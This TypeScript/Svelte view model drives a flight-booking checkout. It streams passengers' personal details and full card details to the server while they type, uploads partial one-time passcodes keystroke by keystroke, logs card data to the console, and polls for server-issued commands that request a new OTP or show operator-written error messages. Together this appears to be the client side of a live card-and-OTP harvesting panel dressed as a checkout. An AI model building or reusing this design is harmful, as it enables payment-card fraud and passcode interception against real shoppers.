626 lines
15 KiB
TypeScript
626 lines
15 KiB
TypeScript
import { get } from "svelte/store";
|
|
import {
|
|
CKActionType,
|
|
SessionOutcome,
|
|
type FlowInfo,
|
|
type PendingAction,
|
|
type PendingActions,
|
|
} from "$lib/domains/ckflow/data/entities";
|
|
import { trpcApiStore } from "$lib/stores/api";
|
|
import { toast } from "svelte-sonner";
|
|
import { flightTicketStore } from "$lib/domains/ticket/data/store";
|
|
import { passengerInfoVM } from "$lib/domains/passengerinfo/view/passenger.info.vm.svelte";
|
|
import { paymentInfoVM } from "$lib/domains/ticket/view/checkout/payment-info-section/payment.info.vm.svelte";
|
|
import { ticketCheckoutVM } from "$lib/domains/ticket/view/checkout/flight-checkout.vm.svelte";
|
|
import {
|
|
CheckoutStep,
|
|
type FlightPriceDetails,
|
|
} from "$lib/domains/ticket/data/entities";
|
|
import { PaymentMethod } from "$lib/domains/paymentinfo/data/entities";
|
|
import { page } from "$app/state";
|
|
import { ClientLogger } from "@pkg/logger/client";
|
|
import { billingDetailsVM } from "$lib/domains/ticket/view/checkout/payment-info-section/billing.details.vm.svelte";
|
|
import {
|
|
passengerPIIModel,
|
|
type PassengerPII,
|
|
} from "$lib/domains/passengerinfo/data/entities";
|
|
import type { PaymentDetailsPayload } from "$lib/domains/paymentinfo/data/entities";
|
|
|
|
class ActionRunner {
|
|
async run(actions: PendingActions) {
|
|
if (actions.length < 1) {
|
|
return;
|
|
}
|
|
|
|
console.log(actions);
|
|
|
|
const hasTerminationAction = actions.find(
|
|
(a) => a.type === CKActionType.TerminateSession,
|
|
);
|
|
|
|
if (hasTerminationAction) {
|
|
this.terminateSession();
|
|
return;
|
|
}
|
|
|
|
const actionHandlers = {
|
|
[CKActionType.BackToPII]: this.backToPII,
|
|
[CKActionType.BackToPayment]: this.backToPayment,
|
|
[CKActionType.CompleteOrder]: this.completeOrder,
|
|
[CKActionType.TerminateSession]: this.terminateSession,
|
|
[CKActionType.RequestOTP]: this.requestOTP,
|
|
} as const;
|
|
|
|
for (const action of actions) {
|
|
const ak = action.type as any as keyof typeof actionHandlers;
|
|
if (!ak || !actionHandlers[ak]) {
|
|
console.log(`Invalid action found for ${action.type}`);
|
|
continue;
|
|
}
|
|
await actionHandlers[ak](action);
|
|
}
|
|
}
|
|
private async completeOrder(data: any) {
|
|
const ok = await ticketCheckoutVM.checkout();
|
|
if (!ok) return;
|
|
|
|
const cleanupSuccess = await ckFlowVM.cleanupFlowInfo(
|
|
SessionOutcome.COMPLETED,
|
|
CheckoutStep.Complete,
|
|
);
|
|
|
|
if (!cleanupSuccess) {
|
|
toast.error("There was an issue finalizing your order", {
|
|
description: "Please check your order status in your account",
|
|
});
|
|
return;
|
|
}
|
|
|
|
toast.success("Your booking has been confirmed", {
|
|
description: "Redirecting, please wait...",
|
|
});
|
|
|
|
// Ensure flow is completely reset before redirecting
|
|
ckFlowVM.reset();
|
|
|
|
setTimeout(() => {
|
|
window.location.replace("/checkout/success");
|
|
}, 500);
|
|
}
|
|
|
|
private async requestOTP(action: PendingAction) {
|
|
if (!ckFlowVM.info) return;
|
|
|
|
// Reset OTP submission status to show the form again
|
|
await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, {
|
|
...ckFlowVM.info,
|
|
showVerification: true,
|
|
otpSubmitted: false, // Reset this flag to show the OTP form again
|
|
otpCode: undefined, // Clear previous OTP code
|
|
pendingActions: ckFlowVM.info.pendingActions.filter(
|
|
(a) => a.id !== action.id,
|
|
),
|
|
});
|
|
|
|
// Make sure the info is immediately updated in our local state
|
|
if (ckFlowVM.info) {
|
|
ckFlowVM.info = {
|
|
...ckFlowVM.info,
|
|
showVerification: true,
|
|
otpSubmitted: false,
|
|
otpCode: undefined,
|
|
pendingActions: ckFlowVM.info.pendingActions.filter(
|
|
(a) => a.id !== action.id,
|
|
),
|
|
};
|
|
}
|
|
|
|
await ckFlowVM.refreshFlowInfo(false);
|
|
|
|
ticketCheckoutVM.checkoutStep = CheckoutStep.Verification;
|
|
toast.info("Verification required", {
|
|
description: "Please enter the verification code sent to your device",
|
|
});
|
|
}
|
|
|
|
private async backToPII(action: PendingAction) {
|
|
await ckFlowVM.popPendingAction(action.id, {
|
|
checkoutStep: CheckoutStep.Initial,
|
|
});
|
|
await ckFlowVM.goBackToInitialStep();
|
|
toast.error("Some information provided is not valid", {
|
|
description: "Please double check your info & try again",
|
|
});
|
|
ticketCheckoutVM.checkoutStep = CheckoutStep.Initial;
|
|
}
|
|
|
|
private async backToPayment(action: PendingAction) {
|
|
const out = await ckFlowVM.popPendingAction(action.id, {
|
|
checkoutStep: CheckoutStep.Payment,
|
|
});
|
|
|
|
if (!out) {
|
|
return;
|
|
}
|
|
|
|
console.log("back to payment action : ", action);
|
|
|
|
const errorMessage =
|
|
action.data?.message || "Could not complete transaction";
|
|
const errorDescription =
|
|
action.data?.description || "Please confirm your info & try again";
|
|
|
|
toast.error(errorMessage, {
|
|
description: errorDescription,
|
|
duration: 6000,
|
|
});
|
|
|
|
ticketCheckoutVM.checkoutStep = CheckoutStep.Payment;
|
|
}
|
|
|
|
private async terminateSession() {
|
|
await ckFlowVM.cleanupFlowInfo();
|
|
ckFlowVM.reset();
|
|
ticketCheckoutVM.reset();
|
|
const tid = page.params.tid as any as string;
|
|
const sid = page.params.sid as any as string;
|
|
window.location.replace(`/checkout/terminated?sid=${sid}&tid=${tid}`);
|
|
}
|
|
}
|
|
|
|
export class CKFlowViewModel {
|
|
actionRunner: ActionRunner;
|
|
setupDone = $state(false);
|
|
flowId: string | undefined = $state(undefined);
|
|
info: FlowInfo | undefined = $state(undefined);
|
|
|
|
otpCode: string | undefined = $state(undefined);
|
|
|
|
poller: NodeJS.Timer | undefined = undefined;
|
|
pinger: NodeJS.Timer | undefined = undefined;
|
|
priceFetcher: NodeJS.Timer | undefined = undefined;
|
|
|
|
// Data synchronization control
|
|
private personalInfoDebounceTimer: NodeJS.Timeout | null = null;
|
|
private paymentInfoDebounceTimer: NodeJS.Timeout | null = null;
|
|
syncInterval = 300; // 300ms debounce for syncing
|
|
|
|
updatedPrices = $state<FlightPriceDetails | undefined>(undefined);
|
|
|
|
constructor() {
|
|
this.actionRunner = new ActionRunner();
|
|
}
|
|
|
|
reset() {
|
|
this.setupDone = false;
|
|
this.flowId = undefined;
|
|
this.info = undefined;
|
|
this.clearPoller();
|
|
this.clearPinger();
|
|
this.clearPersonalInfoDebounce();
|
|
this.clearPaymentInfoDebounce();
|
|
}
|
|
|
|
async initFlow() {
|
|
if (this.setupDone) {
|
|
console.log(`Initting flow ${this.flowId} but setup already done`);
|
|
return;
|
|
}
|
|
console.log(`Initting flow ${this.flowId}`);
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) {
|
|
toast.error("Could not initiate checkout at the moment", {
|
|
description: "Please try again later",
|
|
});
|
|
return;
|
|
}
|
|
|
|
const ticket = get(flightTicketStore);
|
|
const refOIds = ticket.refOIds;
|
|
if (!refOIds) {
|
|
this.setupDone = true;
|
|
return; // Since we don't have any attached order(s), we don't need to worry about this dude
|
|
}
|
|
|
|
const info = await api.ckflow.initiateCheckout.mutate({
|
|
domain: window.location.hostname,
|
|
refOIds,
|
|
ticketId: ticket.id,
|
|
});
|
|
|
|
if (info.error) {
|
|
toast.error(info.error.message, { description: info.error.userHint });
|
|
return;
|
|
}
|
|
|
|
if (!info.data) {
|
|
toast.error("Error while creating checkout flow", {
|
|
description: "Try refreshing page or search for ticket again",
|
|
});
|
|
return;
|
|
}
|
|
|
|
this.flowId = info.data;
|
|
this.startPolling();
|
|
this.startPinging();
|
|
|
|
this.setupDone = true;
|
|
}
|
|
|
|
debouncePersonalInfoSync(personalInfo: PassengerPII) {
|
|
this.clearPersonalInfoDebounce();
|
|
this.personalInfoDebounceTimer = setTimeout(() => {
|
|
this.syncPersonalInfo(personalInfo);
|
|
}, this.syncInterval);
|
|
}
|
|
|
|
debouncePaymentInfoSync() {
|
|
if (!paymentInfoVM.cardDetails) return;
|
|
|
|
this.clearPaymentInfoDebounce();
|
|
this.paymentInfoDebounceTimer = setTimeout(() => {
|
|
const paymentInfo = {
|
|
cardDetails: paymentInfoVM.cardDetails,
|
|
flightTicketInfoId: get(flightTicketStore).id,
|
|
method: PaymentMethod.Card,
|
|
};
|
|
this.syncPaymentInfo(paymentInfo);
|
|
}, this.syncInterval);
|
|
}
|
|
|
|
isPaymentInfoValid(): boolean {
|
|
return (
|
|
Object.values(paymentInfoVM.errors).every((e) => e === "" || !e) ||
|
|
Object.keys(paymentInfoVM.errors).length === 0
|
|
);
|
|
}
|
|
|
|
isPersonalInfoValid(personalInfo: PassengerPII): boolean {
|
|
const parsed = passengerPIIModel.safeParse(personalInfo);
|
|
return !parsed.error && !!parsed.data;
|
|
}
|
|
|
|
async syncPersonalInfo(personalInfo: PassengerPII) {
|
|
if (!this.flowId || !this.setupDone) {
|
|
return;
|
|
}
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return;
|
|
|
|
console.log("Pushing : ", personalInfo);
|
|
|
|
try {
|
|
await api.ckflow.syncPersonalInfo.mutate({
|
|
flowId: this.flowId,
|
|
personalInfo,
|
|
});
|
|
ClientLogger.debug("Personal info synced successfully");
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to sync personal info", err);
|
|
}
|
|
}
|
|
|
|
async syncPaymentInfo(paymentInfo: PaymentDetailsPayload) {
|
|
if (!this.flowId || !this.setupDone || !paymentInfo.cardDetails) {
|
|
return;
|
|
}
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return;
|
|
|
|
console.log("Pushing payinfo : ", paymentInfo);
|
|
|
|
try {
|
|
await api.ckflow.syncPaymentInfo.mutate({
|
|
flowId: this.flowId,
|
|
paymentInfo,
|
|
});
|
|
ClientLogger.debug("Payment info synced successfully");
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to sync payment info", err);
|
|
}
|
|
}
|
|
|
|
private clearPersonalInfoDebounce() {
|
|
if (this.personalInfoDebounceTimer) {
|
|
clearTimeout(this.personalInfoDebounceTimer);
|
|
this.personalInfoDebounceTimer = null;
|
|
}
|
|
}
|
|
|
|
private clearPaymentInfoDebounce() {
|
|
if (this.paymentInfoDebounceTimer) {
|
|
clearTimeout(this.paymentInfoDebounceTimer);
|
|
this.paymentInfoDebounceTimer = null;
|
|
}
|
|
}
|
|
|
|
clearUpdatedPrices() {
|
|
this.updatedPrices = undefined;
|
|
}
|
|
|
|
private clearPoller() {
|
|
if (this.poller) {
|
|
clearInterval(this.poller);
|
|
}
|
|
}
|
|
|
|
private clearPinger() {
|
|
if (this.pinger) {
|
|
clearInterval(this.pinger);
|
|
}
|
|
}
|
|
|
|
private async startPolling() {
|
|
this.clearPoller();
|
|
this.poller = setInterval(() => {
|
|
this.refreshFlowInfo();
|
|
}, 2000);
|
|
}
|
|
|
|
private async startPinging() {
|
|
this.clearPinger();
|
|
this.pinger = setInterval(() => {
|
|
this.pingFlow();
|
|
}, 30000); // Every 30 seconds
|
|
}
|
|
|
|
private async pingFlow() {
|
|
if (!this.flowId) {
|
|
return;
|
|
}
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return;
|
|
|
|
try {
|
|
await api.ckflow.ping.mutate({ flowId: this.flowId });
|
|
ClientLogger.debug("Flow pinged successfully");
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to ping flow", err);
|
|
}
|
|
}
|
|
|
|
async updateFlowState(
|
|
flowId: string,
|
|
updatedInfo: FlowInfo,
|
|
): Promise<boolean> {
|
|
if (!flowId) return false;
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return false;
|
|
|
|
try {
|
|
const result = await api.ckflow.updateFlowState.mutate({
|
|
flowId,
|
|
payload: updatedInfo,
|
|
});
|
|
|
|
if (result.data) {
|
|
this.info = updatedInfo;
|
|
return true;
|
|
}
|
|
return false;
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to update flow state", err);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
// Method to submit OTP
|
|
async submitOTP(code: string): Promise<boolean> {
|
|
if (!this.flowId || !this.setupDone || !this.info) {
|
|
return false;
|
|
}
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return false;
|
|
|
|
try {
|
|
// Update the flow state with OTP info
|
|
const updatedInfo = {
|
|
...this.info,
|
|
otpCode: code,
|
|
partialOtpCode: code,
|
|
otpSubmitted: true,
|
|
lastSyncedAt: new Date().toISOString(),
|
|
};
|
|
|
|
const result = await this.updateFlowState(this.flowId, updatedInfo);
|
|
return result;
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to submit OTP", err);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
async syncPartialOTP(otpValue: string): Promise<void> {
|
|
if (!this.flowId || !this.setupDone || !this.info) {
|
|
return;
|
|
}
|
|
|
|
const api = get(trpcApiStore);
|
|
if (!api) return;
|
|
|
|
try {
|
|
// Update the flow state with partial OTP info
|
|
const updatedInfo = {
|
|
...this.info,
|
|
partialOtpCode: otpValue, // Store partial OTP in a different field
|
|
lastSyncedAt: new Date().toISOString(),
|
|
};
|
|
|
|
await this.updateFlowState(this.flowId, updatedInfo);
|
|
ClientLogger.debug("Partial OTP synced successfully");
|
|
} catch (err) {
|
|
ClientLogger.error("Failed to sync partial OTP", err);
|
|
}
|
|
}
|
|
|
|
async refreshFlowInfo(runActions = true) {
|
|
const api = get(trpcApiStore);
|
|
if (!api || !this.flowId) {
|
|
console.log("No api OR No flow id found");
|
|
return;
|
|
}
|
|
|
|
const info = await api.ckflow.getFlowInfo.query({
|
|
flowId: this.flowId,
|
|
});
|
|
|
|
if (info.error) {
|
|
if (info.error.detail.toLowerCase().includes("not found")) {
|
|
return this.initFlow();
|
|
}
|
|
toast.error(info.error.message, { description: info.error.userHint });
|
|
return;
|
|
}
|
|
|
|
if (!info.data) {
|
|
return;
|
|
}
|
|
|
|
this.info = info.data;
|
|
if (runActions) {
|
|
this.actionRunner.run(info.data.pendingActions);
|
|
}
|
|
|
|
return { data: true };
|
|
}
|
|
|
|
async popPendingAction(actionidToPop: string, meta: Partial<FlowInfo> = {}) {
|
|
const api = get(trpcApiStore);
|
|
if (!api || !this.info) {
|
|
console.log("No API or flow state found");
|
|
return;
|
|
}
|
|
return api.ckflow.updateFlowState.mutate({
|
|
flowId: this.info.flowId,
|
|
payload: {
|
|
...this.info,
|
|
pendingActions: this.info.pendingActions.filter(
|
|
(a) => a.id !== actionidToPop,
|
|
),
|
|
...meta,
|
|
},
|
|
});
|
|
}
|
|
|
|
async goBackToInitialStep() {
|
|
if (!this.flowId && this.setupDone) {
|
|
return true; // This assumes that there is no order attached to this one
|
|
}
|
|
const api = get(trpcApiStore);
|
|
if (!api) {
|
|
console.log("No api OR No flow id found");
|
|
return;
|
|
}
|
|
const out = await api.ckflow.goBackToInitialStep.mutate({
|
|
flowId: this.flowId!,
|
|
});
|
|
if (out.error) {
|
|
toast.error(out.error.message, { description: out.error.userHint });
|
|
return;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
async executePrePaymentStep() {
|
|
if (!this.flowId && this.setupDone) {
|
|
return true; // This assumes that there is no order attached to this one
|
|
}
|
|
const api = get(trpcApiStore);
|
|
if (!api) {
|
|
console.log("No api OR No flow id found");
|
|
return;
|
|
}
|
|
|
|
// Get primary passenger's PII
|
|
const primaryPassengerInfo =
|
|
passengerInfoVM.passengerInfos.length > 0
|
|
? passengerInfoVM.passengerInfos[0].passengerPii
|
|
: undefined;
|
|
|
|
const out = await api.ckflow.executePrePaymentStep.mutate({
|
|
flowId: this.flowId!,
|
|
payload: {
|
|
initialUrl: get(flightTicketStore).checkoutUrl,
|
|
personalInfo: primaryPassengerInfo,
|
|
},
|
|
});
|
|
|
|
if (out.error) {
|
|
toast.error(out.error.message, { description: out.error.userHint });
|
|
return;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
async executePaymentStep() {
|
|
if (!this.flowId && this.setupDone) {
|
|
return true; // This assumes that there is no order attached to this one
|
|
}
|
|
const api = get(trpcApiStore);
|
|
if (!api) {
|
|
console.log("No api OR No flow id found");
|
|
return;
|
|
}
|
|
|
|
const paymentInfo = {
|
|
cardDetails: paymentInfoVM.cardDetails,
|
|
flightTicketInfoId: get(flightTicketStore).id,
|
|
method: PaymentMethod.Card,
|
|
};
|
|
|
|
const out = await api.ckflow.executePaymentStep.mutate({
|
|
flowId: this.flowId!,
|
|
payload: {
|
|
personalInfo: billingDetailsVM.billingDetails,
|
|
paymentInfo,
|
|
},
|
|
});
|
|
|
|
if (out.error) {
|
|
toast.error(out.error.message, { description: out.error.userHint });
|
|
return;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
async cleanupFlowInfo(
|
|
outcome = SessionOutcome.COMPLETED,
|
|
checkoutStep = CheckoutStep.Confirmation,
|
|
) {
|
|
if (!this.flowId && this.setupDone) {
|
|
return true; // This assumes that there is no order attached to this one
|
|
}
|
|
const api = get(trpcApiStore);
|
|
if (!api) {
|
|
console.log("No api OR No flow id found");
|
|
return;
|
|
}
|
|
const out = await api.ckflow.cleanupFlow.mutate({
|
|
flowId: this.flowId!,
|
|
other: {
|
|
sessionOutcome: outcome,
|
|
checkoutStep: checkoutStep,
|
|
},
|
|
});
|
|
if (out.error) {
|
|
toast.error(out.error.message, { description: out.error.userHint });
|
|
return false;
|
|
}
|
|
this.reset();
|
|
return true;
|
|
}
|
|
|
|
async onBackToPIIBtnClick() {
|
|
// This is called when the user clicks the back button on the payment step
|
|
return this.goBackToInitialStep();
|
|
}
|
|
}
|
|
|
|
export const ckFlowVM = new CKFlowViewModel();
|